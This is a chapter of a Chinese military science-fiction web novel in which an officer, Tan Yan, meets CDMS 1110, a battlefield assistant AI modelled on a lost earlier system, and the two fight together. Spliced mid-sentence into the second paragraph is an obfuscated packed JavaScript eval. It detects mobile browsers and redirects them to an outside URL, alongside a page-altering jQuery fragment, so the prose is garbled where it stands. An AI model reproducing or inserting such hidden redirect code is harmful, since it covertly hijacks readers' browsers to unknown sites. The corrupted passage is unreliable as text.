屏蔽区生成。在几声高亢的杂音之后,队频里彻底陷入了死寂。 谈焰和其他组员按照小钟的指示,启用了测试版系统。几秒后,耳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16064032|179224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机里的杂音消失,一个声音在夜色下静静地响起: “谈少校,你好。” 在听到这个声音的瞬间,谈焰彷如全身血液倒流。身体一动也不能动,被死死钉在座椅上。她听到身旁组员在兴奋地和耳机中的声音对话,而她张开口,甚至发不出声音。 等不到她的回答,它自我介绍道: “我是陆军A级联合指挥中心研发的辅助作战系统,CDMS1.1.1.0。能够为战场指挥决策提供必要的辅助支撑,虽然目前还在测试阶段,但我已经具备战场数据挖掘、分析、态势评估及可视化等多项功能,欢迎你的使用和反馈。” 随着它的话,一个个功能模块图标亮起在终端屏幕上。 “希望从今以后,”它说,“我能做你看不见的同袍,和你并肩作战。” 谈焰看着终端上的系统界面,终于从汹涌的情绪浪潮中慢慢恢复冷静。 这个界面让她感到有几分熟悉,很像在第一次试运行中,九渊使用的原始界面。当时九渊离开大学不久,还保留着重青做出来的一部分雏形,直到后来随着时间推移,才被程云帆和他的团队一笔一笔改掉。 这个AI的声音也很像九渊的早期阶段,平铺直叙的合成音,没有起伏。 谈焰点开终端里的系统信息,只见开发者那一栏,果然是重青工作的大学的缩写。 她想起两年前,最后一次见到程云帆时他说的话—— “重青在准备一个新项目立项,以初代的重九渊为蓝本,在严格限制遍历参数的条件下重建一个系统。会牺牲一部分系统的智能性,但绝对安全。” 重青做到了。这台由他手诞生的、兼顾智能性和安全性的新系统,终于突破了我军内部对人工智能领域的保守主义倾向。 从今以后,我军官兵在战场上,耳边终于又响起了人工智能的声音。 谈焰沉默少时,问出了那个她不敢去期待答案的问题:“你还记得我吗?” “我当然认得你,”1110的智能程度,令它无法分辨这两个概念之间的差别,它说,“用户谈焰,身份编号1120760590,凤凰第一特别行动连副指挥官,现任陆上第3护航小队队长……” 它不记得。 理当如此。因为它本就不是九渊。这个在两年谈焰就已明白的事实,从来没有一刻像现在这样清晰——再也不会有什么是九渊了。 1110觉察到她的沉默,它问:“怎么了,我说的不对吗?” “不,你说的很对,”谈焰握紧了冷艳锯的枪托,将曳光弹头一枚枚填装入枪管下方的榴弹发射器。在炮火的隆隆声中,她声音轻轻地说: “那就请你,做我的同袍吧。” 越野开出了厂区大门,东北侧山坡上,敌军车辆的轮廓已依稀可见。 “好,”1110说。孤立模块飞速运行着,收集到的战场信息仅不到半秒就出现在了谈焰终端的平面图上,“请确认打击优先级,推荐第一打击目标:B车;目标位置:237,401。” 谈焰降下车窗,让充满硝烟的夜风灌满车内。在窗口固定机枪脚架:“确认无误。” “请确认瞄准视野,当前风速:20km/h;温度:17℃;空气湿度:51%。” 谈焰拉开保险,推弹上膛:“确认无误。” “预计进入有效射程:5秒、4秒、3秒、2秒。” “射击准备——” 倒计时走完的一刹那,谈焰扣动了手中的扳机。 子弹旋转飞出,如焚天的凤凰,在黑夜中拖曳出一道艳色耀目的光。